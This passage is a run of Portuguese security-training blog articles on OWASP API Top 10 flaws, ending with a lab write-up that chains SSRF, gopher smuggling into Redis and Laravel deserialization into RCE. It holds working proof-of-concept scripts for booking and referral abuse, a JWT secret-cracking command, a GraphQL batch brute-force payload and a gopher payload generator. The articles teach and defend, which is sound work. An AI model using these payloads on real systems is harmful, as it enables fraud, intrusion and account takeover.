        "card":"xxx.xxx.xxx",
        "room": "23"
    },
    {
        "name": "Gabriel Carvalho",
        "cpf": "888.888.888-88",
        "email": "gabriel@mail.com",
        "card":"xxx.xxx.xxx",
        "room": "24"
    }
]

if(sys.argv[1] == "buy"):
        

    for user in users:
        r = requests.post("http://localhost/api/v1/booking", json=user)
        print(r.text)

elif(sys.argv[1] == "refund"):

    for user in users:
        r = requests.post("http://localhost/api/v1/booking/refund", json=user)
        print(r.text)
else:
    exit()

Veja que o endpoint permitiu diversas requests do mesmo IP. O correto seria limitar uma quantia de requests por IP.

O endpoint "/api/v1/booking/refund" faz o reembolso da reserva:

Executando a POC com o parâmetro "refund" conseguimos reembolsar todas as reservas:

Cenário #2

Suponha que um aplicativo de transporte fornece créditos adicionais para um usuário caso outras pessoas se registrem no aplicativo utilizando seu código de convite. Se esse aplicativo não controlar o número de registro de contas por aparelho, um invasor poderia criar um script para registrar diversas contas utilizando o mesmo link de convite, assim obtendo muitos créditos no aplicativo de transporte sem contribuir para o crescimento do aplicativo.

Exemplo de endpoint vulnerável

O endpoint "/api/v1/code" mostra o código de convite:

O endpoint "/api/v1/credits" verifica os seus créditos:

O endpoint "/api/v1/register" registra um novo usuário, e é possível especificar um código de convite no parâmetro "code":

Verificando novamente nossos créditos, vemos que ganhamos 15:

Com a seguinte POC, conseguimos registrar diversos usuários utilizando nosso código de convite:

import requests, sys

users = [
    {
        "name": "Catarina Santos",
        "cpf": "111.111.111-11",
        "email": "catarina@mail.com",
        "code": "A12M93Q"
    },
    {
        "name": "Lucas Oliveira",
        "cpf": "222.222.222-22",
        "email": "lucas@mail.com",
        "code": "A12M93Q"
    },
    {
        "name": "Sofia Rodrigues",
        "cpf": "333.333.333-33",
        "email": "sofia@mail.com",
        "code": "A12M93Q"
    },
    {
        "name": "Guilherme Silva",
        "cpf": "444.444.444-44",
        "email": "guilherme@mail.com",
        "code": "A12M93Q"
    },
    {
        "name": "Mariana Costa",
        "cpf": "555.555.555-55",
        "email": "mariana@mail.com",
        "code": "A12M93Q"
    },
    {
        "name": "Miguel Pereira",
        "cpf": "666.666.666-66",
        "email": "miguel@mail.com",
        "code": "A12M93Q"
    },
    {
        "name": "Beatriz Almeida",
        "cpf": "777.777.777-77",
        "email": "beatriz@mail.com",
        "code": "A12M93Q"
    },
    {
        "name": "Gabriel Carvalho",
        "cpf": "888.888.888-88",
        "email": "gabriel@mail.com",
        "code": "A12M93Q"
    }
]

for user in users:
    r = requests.post("http://localhost/api/v1/register", json=user)
    print(r.text)

Executando a POC:

Verificando nossos créditos novamente:

Como prevenir o Unrestricted Access to Sensitive Business Flows

O planejamento de mitigação deve ser feito em duas camadas:

Identifique os fluxos de negócios que podem prejudicar o negócio caso sejam utilizados em excesso.

Escolha os mecanismos de proteção corretos para mitigar o risco do negócio.

Alguns dos mecanismos de proteção são mais simples, enquanto outros são mais difíceis de implementar. Os seguintes métodos são usados ​​para desacelerar as ameaças automatizadas:

• Detecção humana: usando captcha ou soluções biométricas mais avançadas (por exemplo, padrões de digitação)
• Padrões não humanos: analise o fluxo do usuário para detectar padrões não humanos (por exemplo, o usuário acessou as funções "adicionar ao carrinho" e "concluir compra" em menos de um segundo)
• Considere o bloqueio de endereços IP de nós de saída do Tor e proxies conhecidos

Referências

API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows.md at master · OWASP/API-Security

OWASP API Security Project. Contribute to OWASP/API-Security development by creating an account on GitHub.

GitHubOWASP

A vulnerabilidade Broken Function Level Authorization (BFLA) é um dos problemas mais críticos em Cyber Security envolvendo APIs modernas, permitindo que usuários acessem funcionalidades e operações que deveriam estar restritas por níveis de permissão.

Reconhecida por sua alta incidência em ambientes reais, essa vulnerabilidade integra o OWASP API Security Top 10 (2023) e representa um risco significativo para aplicações que expõem múltiplos perfis de acesso, como sistemas corporativos, plataformas SaaS e serviços financeiros. A exploração pode levar à manipulação de dados críticos, execução de operações privilegiadas e comprometimento da integridade do sistema.

O que é o Broken Function Level Authorization?

O Broken Function Level Authorization é uma vulnerabilidade que ocorre quando o servidor não valida corretamente os privilégios associados ao usuário autenticado, possibilitando acesso indevido a ações administrativas ou funções sensíveis da aplicação.

Cenários em que encontramos o Broken Function Level Authorization

Imagine que um jogo utilize uma API para gerenciar os cargos dos jogadores. A API em questão possuí os endpoints:

/v1/players/roles/:id
/v1/players/roles/add/:id

O endpoint "/v1/players/roles/:id" é utilizado para verificar os cargos/niveis do jogador referente ao "id" especificado na rota. Esse endpoint é aberto para que o jogo verifique os cargos dos jogadores.

O endpoint "/v1/players/roles/add/:id" é utilizado para atribuir um novo cargo/nivel à um jogador, portante esse endpoint deve ser protegido para que apenas administradores tenham acesso. Mas e se esse endpoint não estivesse configurado para bloquear requisições de usuários que não possuem permissões de administradores? Caso isso acontecesse, qualquer usuário/jogador conseguiria atualizar seus cargos/niveis dentro do jogo.

Cenário #1

Suponhamos que o token "xxx.xxx.xxx" não possuí permissões de administradores.

GET /v1/players/roles/12
Host: api.example.com
x-access-token: xxx.xxx.xxx

200 OK
...
{
    "status":"success",
    "role": "Soldier"
}

POST /v1/players/roles/add/12
Host: api.example.com
Content-type: application/json
...
x-access-token: xxx.xxx.xxx

{
    "newrole": "Legend",
    "oldrole": "Soldier"
}


200 OK
...

{
	"status":"success",
	"message": "role updated"
}

Esse cenário está vulnerável a Broken Function Level Authorization, pois um endpoint que contém uma função administrativa deveria ser configurado apenas para administradores, mas está exposto para usuários comuns.

Como prevenir o Broken Function Level Authorization?

Configure as permissões corretas para endpoints que contém funções administrativas. Uma boa prática é utilizar middlewares para gerenciar autorização dos endpoints, pois se uma middlware foi configurada em "/v1/admin", o comum é que todas as rotas que vierem depois de "/v1/admin/xxx" irão precisar de autorização também, assim evitando o Broken Function Level Authorization.

Referências

API-Security/editions/2023/en/0xa5-broken-function-level-authorization.md at master · OWASP/API-Security

OWASP API Security Project. Contribute to OWASP/API-Security development by creating an account on GitHub.

GitHubOWASP

Broken Authentication é uma das vulnerabilidades mais críticas em Cyber Security, afetando mecanismos de autenticação responsáveis por validar a identidade de usuários e sistemas. Em APIs modernas, essa falha permite que atacantes acessem endpoints restritos, assumam contas de usuários ou executem ações sensíveis sem comprovar devidamente suas credenciais.

Reconhecida entre as principais ameaças do OWASP API Security Top 10 (2023), essa vulnerabilidade abrange falhas como autenticação ausente, validação inadequada de tokens, gerenciamento inseguro de sessões e até mecanismos que permitem login com credenciais incorretas. Quando explorada, pode resultar em Account Takeover, vazamento de dados sensíveis e comprometimento completo da aplicação.

Exemplos de ataques que exploram Broken Authentication

Quando uma API utiliza tokens JWTs para autenticação de seus usuários, podemos testar alguns tipos de ataques como o "None Attack", ou "Weak Secret", que são ataques que permitem com que o atacante assine o token JWT, assim forjando um token de autenticação.

Outro ataque que é considerado Broken Authentication é o brute force em endpoints de autenticação. As APIs sempre devem impor um rate limiting para que não ocorra brute force. Se um atacante conseguir um nome de usuário ou email válido para autenticação, ele pode fazer brute force na senha para conseguir se autenticar.

Cenários em que ocorre o Broken Authentication

Cenário #1

Um blog utiliza uma API para listar, criar e editar seus Posts/artigos. Então R$10,00 mensais são cobrados para que seus usuários tenham acesso aos artigos publicados. Ao fazer login no blog, um JWT é retornado como token de autenticação, porém sua "Secret Key" é fraca. Sendo assim um atacante consegue utilizar o John-the-ripper para descobrir sua "Secret key", assim forjando tokens de autenticação com uma data de expiração vitalícia.

john hash --format=HMAC-SHA256 --wordlist=/path/to/wordlist

Cenário #2

Uma empresa utiliza um site para definir tarefas para seus funcionários e infromá-los sobre atualizações mensais entre outras coisas. Esse site utiliza uma API para gerenciar a autenticação de seus usuários. Toda vez que um usuário acessa o site, a API verifica se um token é especificado no header "x-access-token", porém ela não verifica se o token é válido, ou seja, um atacante pode especificar um token falso, assim burlando a autenticação.

Como prevenir o Broken Authentication?

• Implemente um sistema de rate limit em sua API.
• Configure uma politica de senha para que evite de seus usuários serem facilmente hackeados.
• Implemente um sistema de captcha.
• Utilize bibliotecas atualizadas, para que não haja vulnerabilidades em seus tokens de autenticação.
• Utilize secret keys fortes.
• Verifique se os endpoints estão validando o token de autenticação corretamente.

Referências

API-Security/0xa2-broken-authentication.md at master · OWASP/API-Security

OWASP API Security Project. Contribute to OWASP/API-Security development by creating an account on GitHub.

GitHubOWASP

A vulnerabilidade Unrestricted Resource Consumption representa um risco crítico em Cyber Security, permitindo que atacantes explorem o consumo ilimitado de recursos computacionais em APIs modernas.

Incluída no OWASP API Security Top 10 (2023) como sucessora da categoria Lack of Resources & Rate Limiting da edição de 2019, essa vulnerabilidade abrange cenários como upload de arquivos sem limite de tamanho, ausência de controle de requisições simultâneas e falta de mecanismos de rate limiting. Quando explorada, pode resultar em negação de serviço (DoS), exaustão de infraestrutura e até facilitar ataques de enumeração de credenciais e automação maliciosa.

O que é Unrestricted Resource Consumption?

Essa vulnerabilidade ocorre quando aplicações não impõem restrições adequadas sobre o uso de memória, processamento, largura de banda ou armazenamento, possibilitando abusos que afetam diretamente a disponibilidade e a estabilidade dos serviços.

Uma API é vulnerável se pelo menos um dos seguintes limites estiver ausente ou definido de forma inadequada:

• Tempo limite de execução
• Memória máxima alocável
• Número máximo de descritores de arquivo
• Número máximo de processos
• Tamanho máximo do arquivo de upload
• Número de operações a serem executadas em uma única solicitação de cliente de API (por exemplo, lote GraphQL)
• Número de registros por página a serem retornados em uma única solicitação-resposta
• Limite de gastos de provedores de serviços terceirizados

Cenários em que Unrestricted Resource Consumption pode prejudicar uma API

Cenário 1

Imagine que em uma API tenha o seguinte endpoint:

POST /api/v1/images/upload

data...

Esse endpoint recebe uma imagem para upload. O que aconteceria se a API não tivesse um limite de upload definido? Um atacante poderia fazer um DoS enviando uma imagem extremamente grande, assim ocupando grande parte do espaço de armazenamento do servidor. Outro possível vetor de ataque é a falta do rate limit na API, pois se ela controlar o tamanho da imagem mas não controlar o limite de requisições feitas durante certo tempo, um atacante pode enviar milhares de imagens para o servidor, assim ocupando muito espaço no armazenamento do servidor.

Cenário 2

Um outro cenário vulnerável a Unrestricted Resource Consumption é aquele que define o limite de operações em uma única requisição, como exemplo o GraphQL aceitar diversas querys utilizando a mesma mutation em uma única requisição:

POST /graphql

[
    "query": "mutation {
    	    activateEmail(
                email: \"guest@crowsec.com.br\",
                code: \"0000\"
            )
        }"
    },
    "query": "mutation {
    	    activateEmail(
                email: \"guest@crowsec.com.br\",
                code: \"0001\"
            )
        }"
    },
    
    ...
    
    "query": "mutation {
    	    activateEmail(
                email: \"guest@crowsec.com.br\",
                code: \"9999\"
            )
        }"
    }
]

Veja que podemos especificar diversas querys utilizando a mesma mutation em uma única requisição, assim possibilitando um brute force. No exemplo acima, enviamos diversas querys contendo o mesmo email para ativação e especificando códigos diferentes (de 0000 até 9999), assim um dos códigos estará correto e nossa conta será ativada. Isso é uma ótima forma de bypass em uma API que tenha rate limiting, pois estamos fazendo o brute force em apenas uma requisição.

Como prevenir nossas APIs contra Unrestricted Resource Consumption?

Para nos prevenirmos contra esse ataque, devemos utilizar soluções para permitir uma quantidade de requisições por determinado período, devemos definir limites para que nossa API não sofra DoS, e se possível utilizar containers para balanceamento de carga, assim protegendo contra ataques que sobrecarreguem os processos do servidor.

Referências

API-Security/0xa4-unrestricted-resource-consumption.md at master · OWASP/API-Security

OWASP API Security Project. Contribute to OWASP/API-Security development by creating an account on GitHub.

GitHubOWASP

OWASP API Security Top 10 2023 and GraphQL | Postman Blog

Explore 2023’s API security risks in more detail, focusing on a concrete example: a GraphQL API. Ensure your APIs are secure and well-protected.

Postman BlogGuest Author

OWASP API Security Project | OWASP Foundation

OWASP API Security Project on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.

OWASP logo

Onde praticar Hacking ?

O Hacking Club é uma plataforma de treinamento em cybersecurity, que permite você aprender hacking de forma totalmente prática.

Temos mais de 50 ambientes com vulnerabilidades reais com write-ups para você treinar e aprender hacking. Semanalmente lançamos máquinas gratuitas para você praticar e se desafiar no hacking!

A vulnerabilidade Broken Object Property Level Authorization (BOPLA) representa uma falha crítica de controle de acesso em APIs modernas, permitindo que usuários acessem ou modifiquem propriedades específicas de objetos sem possuir os privilégios adequados. Diferente de falhas que expõem objetos inteiros, esse problema ocorre em níveis mais granulares da estrutura de dados, tornando sua detecção mais complexa e ampliando os riscos de exposição de informações sensíveis.

Incluída no OWASP API Security Top 10 (2023), essa vulnerabilidade é comum em aplicações que retornam respostas excessivas de dados (excessive data exposure) ou não validam corretamente permissões em campos específicos de requisições e respostas. Quando explorada, pode permitir vazamento de dados confidenciais, manipulação de atributos críticos e elevação indevida de privilégios dentro da aplicação.

No OWSAP TOP 10 2023 RC foi adicionado a vulnerabilidade Broken Object Property Level Authorization que engloba Excessive Data Exposure e Mass Assignment. Veja na imagem abaixo:

Então, quando um usuário tem acesso a propriedades de um objeto sem possuir os privilégios necessarios, significa que a API está vulnerável a Broken Object Property Level Authorization.

Como explorar o Broken Object Property Level Authorization?

Uma das formas de explorar o Broken Object Property Level Authorization é alterar propriedades de um objeto que não teriamos privlégios para alterar. Um exemplo disso é o Mass Assignment, onde alteramos propriedades além das que foram configuradas para o usuário alterar. Para conhecer, explorar e corrigir o Mass Assignment, veja o artigo escrito em nosso blog:

Conhecendo o Mass Assignment

O que é o Mass Assignment?O Mass Assignment é uma vulnerabilidade que permite com que o atacante manipule informações que não poderiam ser atualizadas ou inseridas por um usuário comum no banco de dados. Essa vulnerabilidade geralmente ocorre quando a aplicação não valida os campos enviados pelo usu…

Crowsec EdTechMurilo Caixeta

Outra forma de explorar o Broken Object Property Level Authorization é encontrando endpoints que expõe propriedades de um Objeto, segue o exemplo abaixo:

Cenário:
Um aplicativo de uma rede social tem uma funcionalidade de reportar usuários mal intencinados. Nessa funcionalidade, o aplicativo vai enviar uma requisição POST para /api/report/user:

POST /api/report/user

userid=9XuMka&reported_by=4LksI3

E a aplicação responde com as seguintes informações:

{
	"userid_reported": "9XuMka",
    	"user_reported": {
    		"name": "John",
        	"lastName": "Doe",
        	"email": "johndoe@fakemail.com",
        	"age": "25",
            "cpf": "999.999.999-99",
            "birthdate": "1998"
    	}
}

Veja que a aplicação expôs os dados do usuário reportado, como: nome, sobrenome, email, idade, cpf e data de nascimento.

Como se proteger contra o Broken Object Property Level Authorization?

Quando estiver desenvolvendo uma API, fique atento as funcionalidades que comunicam com propriedades de um objeto, como o Mass Assignment. Para proteger contra o Mass Assignment deve verificar e sanitizar o input do usuário para que ele não consiga alterar valores de outras propriedades.

Outro ponto importante é verificar a resposta que enviamos para uma requisição, pois não podemos expor propriedades que não foram especificadas na requisição do lado do cliente. No exemplo acima, vemos que na requisição foi especificado apenas o "userid" e a resposta nos trouxe o nome, sobrenome, email, idade, cpf e data de nascimento do usuário reportado. Isso é prejudicial, pois ajuda os atacantes realizarem phishing com a vítima.

Referências

Introduction to OWASP API Security Top 10 2023 (RC)

Introduction to API: An Application Programming Interface (API) is a component that enables communication between two different systems by following certain rules. It also adds a layer of abstraction between the two systems where the requester does not know how the other system has derived the resul…

DevCentral - an F5 CommunityShubham_Mishra

API-Security/0xa3-broken-object-property-level-authorization.md at master · OWASP/API-Security

OWASP API Security Project. Contribute to OWASP/API-Security development by creating an account on GitHub.

GitHubOWASP

API-Security/0xa3-excessive-data-exposure.md at master · OWASP/API-Security

OWASP API Security Project. Contribute to OWASP/API-Security development by creating an account on GitHub.

GitHubOWASP

API-Security/0xa6-mass-assignment.md at master · OWASP/API-Security

OWASP API Security Project. Contribute to OWASP/API-Security development by creating an account on GitHub.

GitHubOWASP

A combinação de desserialização insegura com técnicas de SSRF Protocol Smuggling representa um dos vetores mais avançados de exploração em Cyber Security, permitindo que atacantes encadeiem vulnerabilidades para alcançar Remote Code Execution (RCE) em aplicações modernas. Esse tipo de ataque envolve manipulação sofisticada de protocolos e objetos serializados, explorando falhas lógicas difíceis de identificar em testes tradicionais de segurança.

Neste artigo, analisamos um cenário prático de exploração que demonstra como vulnerabilidades aparentemente isoladas podem ser combinadas para comprometer totalmente um sistema. Por se tratar de uma técnica avançada, é recomendável possuir conhecimentos prévios sobre desserialização insegura, Server-Side Request Forgery (SSRF) e técnicas de protocol smuggling, temas já abordados em artigos anteriores.

Conhecendo o cenário e a infraestrutura

Um cenário ideal para essa exploração, seria uma aplicação que armazena suas sessões serializadas no Redis, como exemplo o Laravel, pois ele utiliza sessões serializadas, e é comum utilizar o Redis para armazenar suas sessões.

Em um cenário desses, se conseguirmos um SSRF e utilizarmos a técnica de Protocol Smuggling, podemos acessar o Redis para alterar o conteúdo da nossa sessão, assim explorando uma desserialização insegura.

Na imagem acima, vemos que o Nginx faz forwarding da porta 127.0.0.1:8000 para *:80, assim expondo o Laravel para a internet. Vemos que o redis está disponível apenas para a rede interna, então para acessarmos ele, precisamos de um SSRF e utilizarmos a técnica de Protocol Smuggling.

Acessando Redis via Protocol Smuggling

Para executarmos comandos no Redis com o protocolo gopher, precisamos inserir o CRLF no final de cada comando e fazermos double-urlencode (o double-urlencode é necessário em algumas ocasiões, como webapps, que geralmente fazem 1 decode por padrão, então precisamos fazer 2 encodes na payload). Criei um script em python simples que gera a payload automaticamente:

import urllib.parse
import sys


def generate_payload(ip, command):
    command += "\r\nquit\r\n"
    gopher_payload = f"gopher://{ip}:6379/_{urllib.parse.quote(urllib.parse.quote(command))}"
    return gopher_payload

if __name__ == "__main__":
    ip = sys.argv[1]
    command = sys.argv[2]
    
    print(generate_payload(ip, command))

Executando o script acima: python3 script.py redis "keys *", obtemos o output:

gopher://redis:6379/_keys%2520%252A%250D%250Aquit%250D%250A

Enviando a payload em uma vulnerabilidade de SSRF, vemos que o Redis nos retorna o output do comando executado:

Explorando desserialização insegura via Protocol Smuggling:

Para esse artigo, criamos um laboratório para você colocar em prática esse conteúdo. O link do repositório no github está no final do artigo.

Entrando na página inicial, vemos que a aplicação está utilizando o Laravel:

Fazendo fuzzing, vemos que o .env está exposto na aplicação:

A aplicação está utilizando o redis para armazenar suas sessões. Vemos que o endereço IP do redis é "redis", pois essa aplicação deve estar configurada em uma rede do docker-composer.

Na página principal, vemos um campo para inserir uma URL para verificar se ela está funcional ou não. Enviando uma URL e interceptando a requisição:

Vemos que a aplicação possibilita uma requisição para localhost, então pode ser que esteja vulnerável à SSRF. Enviando uma requisição utilizando o protocolo gopher:

Veja que a aplicação aceitou o protocolo gopher e conseguiu estabelecer uma comunicação raw socket com o netcat. Podemos utilizar o script que criamos anteriormente para tentar comunicação com o Redis:

Com acesso ao redis, podemos inserir um gadget na nossa sessão para obtermos RCE no laravel através da desserialização insegura. Para gerarmos esses "gadgets" podemos utilizar o phpggc. Fazendo um clone do repositório, podemos executar a ferramenta:

Essa é a lista de gadgets disponíveis para explorar desserialização insegura no Laravel. Gostamos muito do gadget Laravel/RCE10, pois ele não possui null bytes na payload, assim facilitando a exploração. Gerando a payload:

Ao inserir essa payload na nossa sessão, o comando "id" vai ser executado no sistema. Para inserirmos essa payload na sessão precisamos executar o comando "set <KEY> <PAYLOAD>" no redis através do SSRF. Primeiro precisamos listar as keys do Laravel para identificar a key que está armazenando a nossa sessão, então podemos executar um "flushall", assim limpando todas as keys do redis, e em seguida recarregar a página para gerar outra sessão:

Recarregando a página no navegador geramos outra sessão, então terá apenas 1 key no redis:

Porém, precisamos gerar outra sessão, pois quando estava realizando alguns testes, descobrimos que ao enviar uma requisição para o Laravel, ele reseta o conteúdo da sua sessão caso ele esteja alterado ou inválido, e isso deu conflito com o ataque, pois para alterar o conteúdo precisamos enviar uma request, assim ele altera e logo depois reseta... Sim é algo confuso. Para gerarmos outra sessão, podemos entrar na webapp pela guia anônima:

Listando as keys do redis novamente:

Vemos que uma segunda key foi criada. Inserindo a payload na sessão:

Esse erro aconteceu porque não estamos utilizando o formato RESP para enviarmos os comandos para o Redis. O formato RESP utiliza a seguinte sintaxe:

Para executar keys *

*2
$4
keys
$1
*

Primeiro precisamos especificar quantas palavras compõe o comando, depois precisamos especificar a quantidade de letras de cada palavra e em seguida a palavra. Então alteramos o script para fazer isso:

import urllib.parse
import sys


def generate_payload_redis(command):
    command = command.split(" ")
    payload = f"*{len(command)}\r\n"

    for word in command:
        payload += f"${len(word)}\r\n"
        payload += f"{word}\r\n"

    return payload

def generate_payload(ip, command):
    command = generate_payload_redis(command)
    command += generate_payload_redis("quit")

    gopher_payload = f"gopher://{ip}:6379/_{urllib.parse.quote(urllib.parse.quote(command))}"
    return gopher_payload

if __name__ == "__main__":
    ip = sys.argv[1]
    command = sys.argv[2]
    
    print(generate_payload(ip, command))

Gerando a payload novamente:

Recarregando a página na guia anônima:

E finalmente RCE!

Download do laboratório:

GitHub - crowsec-edtech/Lab-insecure-desserialization-via-protocol-smuggling: RCE insecure desserialization via protocol smuggling

RCE insecure desserialization via protocol smuggling - GitHub - crowsec-edtech/Lab-insecure-desserialization-via-protocol-smuggling: RCE insecure desserialization via protocol smuggling

GitHubcrowsec-edtech

Referências

Exploiting Redis Through SSRF Attack

Redis is an in-memory data structure store that is used to store data in the form of key-values and can be used as a database…

InfoSec Write-upsMuh. Fani Akbar

GitHub - ambionics/phpggc: PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.

PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically. - GitHub - ambionics/phpggc: PHPGGC is a library of PHP unserialize() p...

GitHubambionics

Onde praticar Hacking ?

O Hacking Club é uma plataforma de treinamento em cybersecurity, que permite você aprender hacking de forma totalmente prática.

Temos mais de 50 ambientes com vulnerabilidades reais com write-ups para você treinar e aprender hacking. Semanalmente lançamos máquinas gratuitas para você praticar e se desafiar no hacking!